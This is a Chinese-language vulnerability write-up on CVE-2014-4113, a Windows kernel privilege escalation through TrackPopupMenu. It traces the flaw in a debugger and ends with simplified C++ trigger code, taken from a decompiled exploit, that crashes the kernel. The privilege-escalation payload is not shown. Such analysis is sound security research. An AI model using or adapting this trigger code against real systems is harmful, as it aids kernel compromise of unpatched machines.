CVE-2014-4113漏洞利用過程分析
0x00 簡介
透過VMware和Windbg搭建32位核心除錯環境,系統為xp sp2,執行漏洞利用程式win32.exe calc.exe,彈出了一個SYSTEM許可權的calc。
透過IDA分析win32.exe
,可以看到signed int __cdecl sub_4010F2()
函式透過呼叫ZwQuerySystemInformation
洩露核心模組ntkrnlpa.exe
基址,最終得到PsLookupProcessByProcessId
函式地址,該函式用於漏洞利用程式碼。
sub_401830
函式是漏洞利用程式碼,完成許可權提升操作。
0x01 除錯過程
透過在函式上設定斷點,可以得到漏洞利用觸發位置。
可見是由TrackPopupMenu
最終觸發了漏洞,呼叫點為call dwordptr[esi+20]
,此時esi
的值為0xfffffffb
。 透過函式呼叫棧,對esi值的來源進行反向跟蹤,可以知道在Menu的訊息處理函式signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)
中呼叫int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)
時返回了異常的值,最終觸發了漏洞。
透過對xxxMNFindWindowFromPoint
的呼叫過程進行分析,找到異常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)
中得到的。異常的值最終是由KeUserModeCallback
函式透過v28指向的值返回。其中KeUserModeCallback
函式的原型如下:
#!cpp
NTSTATUS
KeUserModeCallback (
IN ULONGApiNumber,
IN PVOIDInputBuffer,
IN ULONGInputLength,
OUT PVOID *OutputBuffer,
IN PULONGOutputLength
);
核心態的KeUserModeCallback
函式最終會呼叫ntdll
中的KiUserCallbackDispatcher
函式來呼叫使用者態回撥函式,透過對KeUserModeCallback
、KiUserCallbackDispatcher
設定斷點,可以看到第一次處理0x1EB(MN_FINDWINDOWFROMPOINT)
訊息是透過xxxSendMessageTimeout
中呼叫的xxxCallHook來呼叫使用者註冊的鉤子函式,在使用者空間裡函式呼叫了USER32中的__fnOUTDWORDINDWORD
函式,最終呼叫sub_401475(pfnFilterProc)
函式。
程式在pfnFilterProc
中透過SetWindowLongA
設定PopupMenu的視窗訊息處理函式,那麼當xxxCallHook函式返回後,圖中的!(*(_BYTE *)(a1 + 22) & 4)
條件成立,將執行xxxSendMessageToClient
,該函式內將執行KeUserModeCallback
,最終呼叫使用者態函式sub_4013F3
。
sub_4013F3
函式尾部返回了0xFFFFFFFB
。與KeUserModeCallback
函式透過v28返回的值相等。為了進一步確認,修改sub_4013F3
函式返回值為0xFFFFFFFF
。可以看到v28指向的值變成了0xFFFFFFF
。
透過修改win32.exe中的指令,將0x40146D
處的push 0FFFFFFFBh
修改為push 0FFFFFFFFh
,執行之後發現提權失敗。進一步確定由於核心的使用了異常的函式返回值,最終導致了許可權提升。
可見在PopupMenu
的視窗訊息處理函式處理0x1EB的訊息時,沒有判斷訊息函式的返回值,最終導致了許可權提升。 所以漏洞觸發的完整過程如下:透過模仿點選事件,CreatePopupMenu
建立的PopupMenu
會收到0x1EB
型別的訊息,因為無法拿到PopupMenu
的視窗控制程式碼,程式並沒有辦法直接設定PopupMenu
的視窗訊息處理函式,因此首先透過SetWindowsHookExA
註冊鉤子函式,在鉤子函式中得到PopupMenu
的視窗控制程式碼,再透過SetWindowLongA
設定PopupMenu
的視窗訊息處理函式,註冊之後,xxxSendMessageToClient
將呼叫新的視窗訊息處理函式,接收並處理0x1EB的訊息。 在新的視窗訊息處理函式中,對於訊息號為0x1EB
的訊息,函式返回了0xFFFFFFFB
,最終觸發了漏洞。
0x02 觸發程式碼
透過上面的分析,根據win32.exe中程式碼,稍加簡化,可以得到如下的漏洞觸發程式碼。
#!cpp
#include"stdafx.h"
#include<windows.h>
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
{
if ( dword_40DA5C != 1 )
{
dword_40DA5C = 1;
//模仿點選訊息,觸發0x1EB訊息處理,執行pfnFilterProc
PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
}
}
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
HMENU v0; // [email protected]
HMENU v1; // [email protected]
MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
HMENU v9; // [sp+6Ch] [bp-4h]@1
v9 = 0;
memset((void *)&mi, 0, sizeof(mi));
memset(&v4, 0, sizeof(MENUITEMINFOA));
mi.cbSize = 48;
v0 = CreatePopupMenu();
if ( v0 )
{
mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
{
v4.fMask = 68;
v4.dwTypeData = (LPSTR)&dword_40DA54;
v4.cch = 1;
v4.hSubMenu = v0;
v4.cbSize = 48;
v1 = CreatePopupMenu();
v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
{
DestroyMenu(v0);
if ( v1 )
DestroyMenu(v1);
}
}
else
DestroyMenu(v0);
}
return (int)v9;
}
unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB,觸發漏洞
}
LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
{
UnhookWindowsHook(4, pfnFilterProc);
//設定PopupMenu的視窗訊息處理函式
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
int __stdcall Exp()
{
int v1; // [email protected]
DWORD v2; // [email protected]
int result; // [email protected]
HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
v5 = 0;
lpAddress = 0;
memset(&SystemInfo, 0, 0x24u);
memset(&WndClass, 0, 0x28u);
WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
WndClass.lpszClassName = "woqunimalegebi";
GetNativeSystemInfo(&SystemInfo);
if (
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0)
)
{
v1 = 0;
v5 = 1;
v1 = sub_401306();
if ( v1 )
{
v2 = GetCurrentThreadId();
SetWindowsHookExA(4, pfnFilterProc, 0, v2);
TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
}
DestroyWindow(hWnd);
if ( v1 )
DestroyMenu((HMENU)v1);
UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
VirtualFree(lpAddress, 0, 0x8000u);
result = 0;
}
else
result = 0;
return result;
}
int _tmain(int argc, _TCHAR* argv[])
{
Exp();
return 0;
}
編譯執行之後,可以看到觸發了異常。
相關文章
- BlueKeep 漏洞利用分析2019-09-20
- Windows核心提權漏洞CVE-2014-4113分析報告2020-08-19Windows
- 利用Wireshark抓包分析DNS域名解析過程2024-06-13DNS
- JAVA反序列化漏洞完整過程分析與除錯2020-08-19Java除錯
- iOS 8.1.2 越獄過程詳解及相關漏洞分析2020-08-19iOS
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- 永恆之藍漏洞利用機制分析2020-08-03
- CRLF Injection漏洞的利用與例項分析2020-08-19
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- cve-2014-0569 漏洞利用分析2020-08-19
- HDFS寫過程分析2019-04-01
- Windows啟動過程(MBR引導過程分析)2017-06-12Windows
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- 資料需求分析過程2021-09-09
- 頁面渲染:過程分析2018-08-30
- ORACLE 死鎖分析過程2016-10-02Oracle
- Spark計算過程分析2016-11-24Spark
- Service啟動過程分析2017-02-13
- Activity啟動過程分析2017-02-09
- Kill會話過程分析2011-01-13會話
- sql執行過程分析2011-04-18SQL
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- 【DSL】Elasticsearch之Analyze(分析過程)2019-03-06Elasticsearch
- Liferay 啟動過程分析2021-09-09
- flink:JobGraph生成過程分析2020-11-28
- 主機被入侵分析過程2022-02-17
- Eureka Server啟動過程分析2021-01-03Server
- Linux 啟動過程分析2018-03-13Linux
- MySQL • 原始碼分析 • SHUTDOWN過程2017-12-13MySql原始碼
- HiveSQL的執行過程分析2014-05-08HiveSQL
- Kill會話過程分析(二)2011-01-17會話
- Linux啟動過程分析2006-07-27Linux
- 隨機過程(高斯隨機過程、譜分析、白噪聲)2020-11-01隨機
- Wireshark分析器分析資料流過程2015-01-21
- struts2最近幾個漏洞分析&穩定利用payload2020-08-19
- CVE-2013-4547 Nginx解析漏洞深入利用及分析2020-08-19Nginx
- Hadoop Yarn REST API未授權漏洞利用挖礦分析2018-06-12HadoopYarnRESTAPI